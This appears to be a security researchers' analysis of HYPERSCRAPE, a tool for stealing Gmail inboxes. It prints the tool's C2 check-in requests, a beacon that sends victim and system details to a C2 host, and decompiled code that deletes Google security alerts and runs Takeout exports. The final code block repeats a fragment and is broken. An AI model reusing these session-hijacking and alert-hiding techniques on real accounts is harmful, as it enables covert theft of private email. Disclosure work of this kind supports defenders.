HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.
It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.
Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.
After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.
Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.
The tool is written in .NET for Windows PCs and is designed to run on the attacker’s machine.
We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.
HYPERSCRAPE won’t run unless in a directory with other file dependencies.
When launched, the tool makes an HTTP GET request to a C2 to check for a response body of “OK” and will terminate if it’s not found.
In the version tested, the C2 was unobfuscated and stored as a hardcoded string.
In later versions it was obfuscated with Base64.
GET http://{C2}/Index.php?Ck=OK HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
Connection: Keep-Alive
The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.
A new form is displayed if the information is not provided via command prompt.
Once provided, the data in the “Identity” field is sent to a C2 for confirmation.
Again, the response is expected to be “OK”.
GET http://{C2}/Index.php?vubc={identity} HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.
After parsing, the cookies are inserted into a local cache used by the embedded web browser.
A new folder named “Download” is created adjacent to the main binary.
The browser then navigates to Gmail to begin the data collection.
The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.
If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.
Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.
The language is returned to its original setting when the run is finished.
HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.
It does the following for each email found:
Clicks on the email and opens it
Downloads it
If the email was originally unread, marks it unread
Goes back to the inbox
The emails are saved with “.eml” extensions under the Downloads directory with the filename corresponding to the subject.
A log file is written containing a count of the emails that were downloaded.
When finished, a HTTP POST request is made to the C2 to relay the status and system information.
The downloaded emails are not sent to the C2.
POST http://{C2}/?Key={GUID}&Crc={Identifier}
{
“appName”: “Gmail Downloader”,
“targetname”: “{Email}”,
“HostName”: “REDACTED”,
“srcUserIP”: “REDACTED”,
“actionType”: “First”,
“timeOccurrence”: “05/01/2022 05:50:31 PM”,
“OS”: “REDACTED”,
“OSVersion”: “REDACTED”,
“SystemModel”: “REDACTED”,
“SystemType”: “REDACTED”,
“srcName”: “REDACTED”,
“srcOrgName”: “REDACTED”
}
The program will delete any security emails from Google generated by the attacker’s activity.
private bool IsThereAnyEMail() {
List list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName(“span”)
where x.TextContent.StartsWith (“Security alert”) || x.TextContent.StartsWith(“Archive of Google data requested”) || x.TextContent.StartsWith(“Your Google data archive is ready”) || x.TextContent.StartsWith(“Your Google data is ready”) || x.TextContent.StartsWith(“Critical security alert”) || x.TextContent.StartsWith(“Access for less secure apps has been turned on”) || x.TextContent.StartsWith(“Review blocked sign-in attempt”) || x.TextContent.StartsWith(“Help us protect you: Security advice from Google”) || x.TextContent.StartsWith(“Access for less secure apps has been turned on”)
select x).ToList ();
bool flag = list.Count == 0;
return !flag;
}
Data from Google Takeout is also available upon request, but the option was only found in early builds.
The functionality was not automated and it’s unclear why it was removed in later versions.
When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.
When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.
public void ManageTakeOut() {
string text = “PipeName”;
Process process = new Process();
process.StartInfo.Arguments = string.Format(“PIPE Google “{0}””, text);
process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName;
process.Start();
PipeCommunication pipeCommunication = new PipeCommunication(true, text);
bool flag = false;
while (!flag) {
try {
JsonInfo jsonInfo = pipeCommunication.Read();
switch (jsonInfo.Type) {
case JsonType.GetCookies:
jsonInfo.Data = this.CookieText;
pipeCommunication.Write(jsonInfo);
break;
case JsonType.TakeOutFile:
flag = true;
break;
case JsonType.GetUsername:
while (this.OperationObject.GetUsername() == null) {
Thread.Sleep(1000);
}
jsonInfo.Data = this.OperationObject.GetUsername();
pipeCommunication.Write(jsonInfo);
break;
}
} catch (Exception) {
bool hasExited = process.HasExited;
if (hasExited) {
flag = true;
}
}
}
pipeCommunication.Close();
}
;
break;
}
} catch (Exception) {
bool hasExited = process.HasExited;
if (hasExited) {
flag = true;
}
}
}
pipeCommunication.Close();
}